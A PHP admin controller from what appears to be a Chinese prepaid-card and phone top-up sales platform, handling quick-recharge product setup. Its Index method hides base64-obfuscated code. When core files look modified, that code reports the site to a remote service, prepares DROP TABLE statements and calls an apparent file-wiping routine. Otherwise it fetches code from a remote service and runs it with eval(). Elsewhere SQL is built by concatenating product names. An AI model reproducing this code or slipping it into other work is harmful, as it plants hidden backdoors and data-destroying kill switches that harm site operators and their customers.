<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
				exit( "hacking deny" );
}
class QuickController extends Controller
{

				public $instance = NULL;

				public function __construct( )
				{
								$this->instance = factory::getinstance( "quick" );
				}

				public function Index( )
				{
								$R93c5cf68df = $this->GetQuickCache( );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->Assign( "items", $R93c5cf68df );
												$this->view( );
								}
								else
								{
												$this->Assign( "items", $R93c5cf68df );
												$this->view( );
								}
				}

				public function Save( )
				{
								$R3584859062 = intval( request( "id" ) );
								$R8e8b5578f7 = intval( request( "pid" ) );
								$data = array(
												"pid" => $R8e8b5578f7
								);
								$Rb3f07f8c36 = $this->GetProductCache( $R8e8b5578f7 );
								if ( !isset( $Rb3f07f8c36['pid'] ) )
								{
												$this->Alert( "对接的商品不存在" );
												$this->HistoryGo( );
								}
								if ( $Rb3f07f8c36['sell'] == 0 )
								{
												$this->Alert( "请先上架您要对接的商品" );
												$this->HistoryGo( );
								}
								if ( 0 < $R3584859062 )
								{
												if ( $R3584859062 == 1 && $Rb3f07f8c36['cztpl'] != 805 && $Rb3f07f8c36['cztpl'] != 816 )
												{
																$this->Alert( "QQ币直充对接的商品模板配置错误，请选择以下其中一个\\n\\nT-腾讯-Q币直储(腾讯直通车)\\n\\nT-腾讯-Q币直储(腾讯直通车)5元起模板\\n\\n如果您是对接渠道货源的商品，务必要跟供货商要求的一致" );
																$this->HistoryGo( );
												}
												if ( $R3584859062 == 2 && $Rb3f07f8c36['cztpl'] != 803 && $Rb3f07f8c36['cztpl'] != 844 && $Rb3f07f8c36['cztpl'] != 845 )
												{
																$this->Alert( "QQ服务直充对接的商品模板配置错误，请选择以下其中一个\\n\\nT-腾讯-QQ包月类服务(新版财付通直通车)\\n\\nT-腾讯-QQ包月(蓝钻/粉钻/紫钻/音速)类服务(新版财付通直通车)\\n\\nT-腾讯-QQ包月(会员/黄钻/红钻/绿钻)类服务(新版财付通直通车)\\n\\n如果您是对接渠道货源的商品，务必要跟供货商要求的一致" );
																$this->HistoryGo( );
												}
												$R808b89ba0e = $this->instance->IQuick_Update( $data, $R3584859062 );
								}
								else
								{
												$R808b89ba0e = $this->instance->IQuick_Create( $data );
								}
								$this->UpdateCache( "quick" );
								if ( $R808b89ba0e )
								{
												$this->Alert( "操作成功！" );
								}
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=Quick" );
				}

				public function UpdateMobile( )
				{
								$Ref9abe6323 = factory::getservice( "smobile" );
								$R3db8f5c8bc = $Ref9abe6323->IMobile_List( );
								$Rf5f11a8d38 = count( $R3db8f5c8bc );
								$R93c5cf68df = $this->GetQuickCache( );
								$R4072f8bd60 = array( "pid", "pname", "price", "listprice" );
								$R8bd51de5ba = array( );
								$R5b92e56774 = 8000;
								if ( $R93c5cf68df[2]['mobiletxt'] == "" || $R93c5cf68df[2]['mobiletxt'] == "NULL" || $R93c5cf68df[2]['mobiletxt'] == null )
								{
												$R8bd51de5ba = $R3db8f5c8bc;
								}
								else
								{
												$Rd2b5f09ff2 = unserialize( gzinflate( base64_decode( $R93c5cf68df[2]['mobiletxt'] ) ) );
												$R632f0e1404 = array( );
												foreach ( $Rd2b5f09ff2 as $R0f8134fb60 )
												{
																if ( isset( $R0f8134fb60['id'] ) && $R0f8134fb60['id'] < $R5b92e56774 )
																{
																				$R5b92e56774 = $R0f8134fb60['id'];
																}
																$R632f0e1404[$R0f8134fb60['pid']] = $R0f8134fb60;
												}
												foreach ( $R3db8f5c8bc as $R0f8134fb60 )
												{
																if ( !isset( $R632f0e1404[$R0f8134fb60['pid']] ) )
																{
																				$R8bd51de5ba[] = $R0f8134fb60;
																}
												}
												if ( $R5b92e56774 != 8000 )
												{
																$R5b92e56774 -= 1;
												}
								}
								$Rf5f11a8d38 = count( $R8bd51de5ba );
								if ( 0 < $Rf5f11a8d38 )
								{
												$Rf36e7e7102 = false;
												if ( $R5b92e56774 < 8000 )
												{
																$Rf36e7e7102 = true;
												}
												$R39f193f044 = array( );
												$Rd3734be05c = array( );
												$R11c157405c = array( );
												$Ra16d228039 = 0;
												for ( ;	$Ra16d228039 < $Rf5f11a8d38;	++$Ra16d228039	)
												{
																$R8bd51de5ba[$Ra16d228039]['id'] = $R5b92e56774;
																$R637197da81 = array(
																				"'".$R5b92e56774."'",
																				"'".$R8bd51de5ba[$Ra16d228039]['pname']."'",
																				"'".$R8bd51de5ba[$Ra16d228039]['supprice']."'",
																				"'".$R8bd51de5ba[$Ra16d228039]['listprice']."'"
																);
																$Rd3734be05c[] = $R5b92e56774;
																$R11c157405c[] = $R8bd51de5ba[$Ra16d228039]['pid'];
																--$R5b92e56774;
																$R39f193f044[] = "(".implode( ",", $R637197da81 ).")";
												}
												$Rfa94e39ea3 = implode( ",", $R39f193f044 );
												if ( $Rfa94e39ea3 != "" )
												{
																$R130d64a4ad = "insert into ".$this->instance->dbprefix."products(".implode( ",", $R4072f8bd60 ).") values".$Rfa94e39ea3;
																$this->instance->QueryUpdate( $R130d64a4ad );
																$Rd29a2ce8a4 = array(
																				"ptype" => 1,
																				"pdesc" => "",
																				"czweb" => "",
																				"web" => "",
																				"catid" => $this->GetCatId( ),
																				"imagefull" => "",
																				"imagesmall" => "",
																				"tag" => 0,
																				"sell" => 1,
																				"new" => 0,
																				"remd" => 0,
																				"hot" => 0,
																				"sale" => 0,
																				"disparea" => 0,
																				"dispserv" => 0,
																				"qtymin" => 1,
																				"qtymax" => 1,
																				"qtylist" => "",
																				"cztpl" => 2001,
																				"syscztpl" => 0,
																				"idlable" => "手机号",
																				"yktcard" => "",
																				"ykttag" => "",
																				"yktpoints" => 0,
																				"supfirst" => 1,
																				"forshop" => 0,
																				"forb2b" => 1,
																				"forykt" => 0,
																				"tosys" => 1,
																				"points" => 0,
																				"pfee" => 0,
																				"checked" => 1,
																				"mdydate" => date( "Y-m-d H-i-s" ),
																				"mdyby" => $_SESSION['adminname'],
																				"mdyip" => $this->GetIp( ),
																				"otherweb" => "",
																				"tradeterm" => "",
																				"disponshow" => 0,
																				"stocks" => 0,
																				"unit" => "",
																				"namecolor" => "",
																				"ordering" => 0,
																				"pinyin" => "",
																				"webtitle" => "",
																				"meta_keywords" => "",
																				"meta_description" => "",
																				"sup" => -1,
																				"palert" => "",
																				"orderalert" => "",
																				"isbold" => 0,
																				"scored" => 0,
																				"reward" => 0,
																				"quickuse" => 0,
																				"quickusetime" => 0,
																				"canmakeprice" => 0,
																				"buylit" => 0,
																				"buylitstardate" => "08:30",
																				"buylitenddate" => "23:30",
																				"yktipchecktime" => 0,
																				"yktipchecknum" => 0,
																				"buyaday" => 0,
																				"onsup" => "-1",
																				"hassup" => 1,
																				"addeddate" => date( "Y-m-d H-i-s" ),
																				"addedby" => $_SESSION['adminname'],
																				"addedip" => $this->GetIp( )
																);
																$R026f0167b4 = array( );
																foreach ( $Rd29a2ce8a4 as $Ra09fe38af3 => $Ra3d52e52a4 )
																{
																				$R026f0167b4[] = $Ra09fe38af3."='".$Ra3d52e52a4."'";
																}
																$R00f8f0165d = implode( ",", $R026f0167b4 );
																$R130d64a4ad = "update ".$this->instance->dbprefix."products set ".$R00f8f0165d." where pid in (".implode( ",", $Rd3734be05c ).")";
																$this->instance->QueryUpdate( $R130d64a4ad );
																if ( $Rf36e7e7102 && isset( $Rd2b5f09ff2 ) )
																{
																				$R3db8f5c8bc = array_merge( $Rd2b5f09ff2, $R8bd51de5ba );
																}
																else
																{
																				$R3db8f5c8bc = $R8bd51de5ba;
																}
																$data = array(
																				"mobiletxt" => base64_encode( gzdeflate( serialize( $R3db8f5c8bc ) ) )
																);
																$R808b89ba0e = $this->instance->IQuick_Update( $data, 3 );
																$this->UpdateCache( "quick" );
																$data = array(
																				"pid" => implode( ",", $Rd3734be05c ),
																				"spid" => implode( ",", $R11c157405c )
																);
																$R3db8f5c8bc = $Ref9abe6323->IMobile_Link( $data );
																if ( isset( $R3db8f5c8bc[0]['errcode'] ) )
																{
																				$R1b33f70f78 = $R3db8f5c8bc[0]['errcode'];
																				if ( $R1b33f70f78 == 0 )
																				{
																								$this->Alert( $R3db8f5c8bc[0]['errcontent'] );
																								$this->HistoryGo( );
																				}
																}
												}
								}
								$this->Alert( "完成操作" );
								$this->HistoryGo( );
				}

				public function GetCatId( )
				{
								$R154a5b5f8b = factory::getinstance( "category" );
								$R3db8f5c8bc = $R154a5b5f8b->ICategory_GetByName( "手机话费直充" );
								if ( isset( $R3db8f5c8bc['id'] ) )
								{
												return $R3db8f5c8bc['id'];
								}
								else
								{
												$data = array( "parentid" => 0, "color" => "#000000", "ordering" => 0, "name" => "手机话费直充", "pinyin" => "S", "abst" => "手机话费直充", "hot" => 0, "shared" => 0, "forb2b" => 1, "forb2c" => 0, "forykt" => 0, "fork2k" => 0, "fee" => 0, "code" => "", "pics" => "catnopic.gif", "gateway" => 0, "czaccount" => "", "cdesc" => "手机话费直充", "czweb" => "", "cost" => "", "contact" => "", "aid" => -1 );
												$R808b89ba0e = $R154a5b5f8b->ICategory_Create( $data );
												if ( $R808b89ba0e )
												{
																$R3db8f5c8bc = $R154a5b5f8b->ICategory_GetByName( "手机话费直充" );
																$this->UpdateCache( "category" );
																if ( isset( $R3db8f5c8bc['id'] ) )
																{
																				return $R3db8f5c8bc['id'];
																}
																else
																{
																				return 0;
																}
												}
												else
												{
																return 0;
												}
								}
				}

}

?>
